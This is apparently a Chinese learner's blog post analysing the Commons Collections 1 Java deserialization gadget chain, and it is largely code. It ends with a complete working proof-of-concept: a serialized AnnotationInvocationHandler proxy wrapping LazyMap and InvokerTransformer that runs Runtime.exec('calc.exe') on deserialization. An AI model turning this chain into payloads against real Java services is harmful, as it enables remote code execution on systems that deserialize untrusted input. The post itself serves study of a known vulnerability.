Java的CommonCollections1链分析

Java的CommonCollections1链分析

0x01 前言

最近结合p🐂和其他大神关于cc1链的文章,所以想自己写一篇来加深自己的理解

0x02 分析缩减版

这里直接给出p🐂简化过后的cc1链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
//定义Transformer类的数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),//这里需将路径改为自己电脑上计算器的路径
};
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Hashmap类
Map innerMap = new HashMap();
//对其进行装饰,从而使其在往map里插入数据时调用transform方法
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
outerMap.put("test", "xxxx");
}
}

主要的几个类和接口

TransformedMap

1
2
3
第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化方法

通过transformedmap.decorate方法就可以对传入的map类的数据结构进行转换,当被修饰过的map类对象在添加新元素的时候就会执行一次回调函数,

Transformer接口

1
2
3
public interface Transformer {
Object transform(Object var1);
}

可以看到,它只有一个带实现的方法。当TransformedMap在转换的时候,就会调用Transform方法。

ConstantTransformer

ConstantTransformer类实现了transform接口,这样当调用transform方法的时候就会返回传入的对象

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}

InvokerTransformer

该类也实现了transform接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

这个类可以用来执行任意方法,在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数 是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表。

ChainedTransformer

ChainedTransformer该类也实现了Transformer接⼝,它的作用将前一个回调函数的结果传给后一个回调函数,这里借用一下p🐂的图

其代码如图

1
2
3
4
5
6
7
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

总结demo

那么知道这几个类是啥意思了,我们就可以来捋一下这个demo的思路

首先创建一个ChainedTransformer,其中包含了两个Transformer,第一个Transformer返回的是Runtime对象,第二个Transformer执行任意命令,然后再用这个ChainedTransformer类来包装map类即可。

如何触发回调呢?我们只需要想map中添加一个新元素就可以了。

0x03 分析无删减版

上面的链子需要我们自己手动去添加一个新元素,这在做题中是不可能的,所以我们还得继续往下找,由于p🐂用的类在我使用的Java版本并不一样,所以我选择了直接使用yso上面的链子

yso的链子使用的是LazyMap类而不是Transformed类

1
Map outerMap = LazyMap.decorate(innerMap,transformerChain);

当output被这样装饰了过后,只有当调用get方法的时候才会执行Transform方法,但是这个AnnotationInvocationHandler类的readobject方法里面并没有get方法,但是该类的invoke方法里存在get方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}

那么我们怎样才能够调用这个invoke方法呢,这里yso的作者使用到了一个叫动态代理的方法

动态代理

格式如图:

1
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要 代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻 辑。

例子我就直接引用p🐂的

首先我们先写一个类ExampleInvocationHandler:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.vulhub.Ser;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws
Throwable {
if (method.getName().compareTo("get") == 0) {
System.out.println("Hook method: " + method.getName());
return "Hacked Object";
}
return method.invoke(this.map, args);
}
}

这个类实现了invoke方法,会判断调用的方法是不是get如果是就返回一个字符串

我们在外部调用这个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.vulhub.Ser;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new
HashMap());
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}

那么可以看出来,当一个类是InvocationHandler时,将这个对象进行proxy进行代理后,不管执行什么方法都会进入invoke方法里面,我们回看sun.reflect.annotation.AnnotationInvocationHandler它其实就是一个InvocationHandler,那么我们就可以使用动态代理进而来执行invoke方法,从而执行任意命令

那么最终的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package org.vulhub.RMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
//定义transform数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
//定义hashmap对象
Map innerMap = new HashMap();
//对hashmap对象进行装饰
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
//得到AnnotationInvocationHandler类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//对AnnotationInvocationHandler类的private属性的元素赋值
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
//得到接口
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
//进行动态代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
//此时还需封装一下才能进行反序列化
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

注:该poc只能在Java8u70前使用

0x04 总结

cc1链确实比URLDNS难,但是当复现完回头看也不是特别难,当中有些方法我还是有些不懂,比如动态代理等,还需要多康康


Java的CommonCollections1链分析
https://zoceanyq.github.io/2022/11/08/cc1链分析/
作者
ocean
发布于
2022年11月8日
许可协议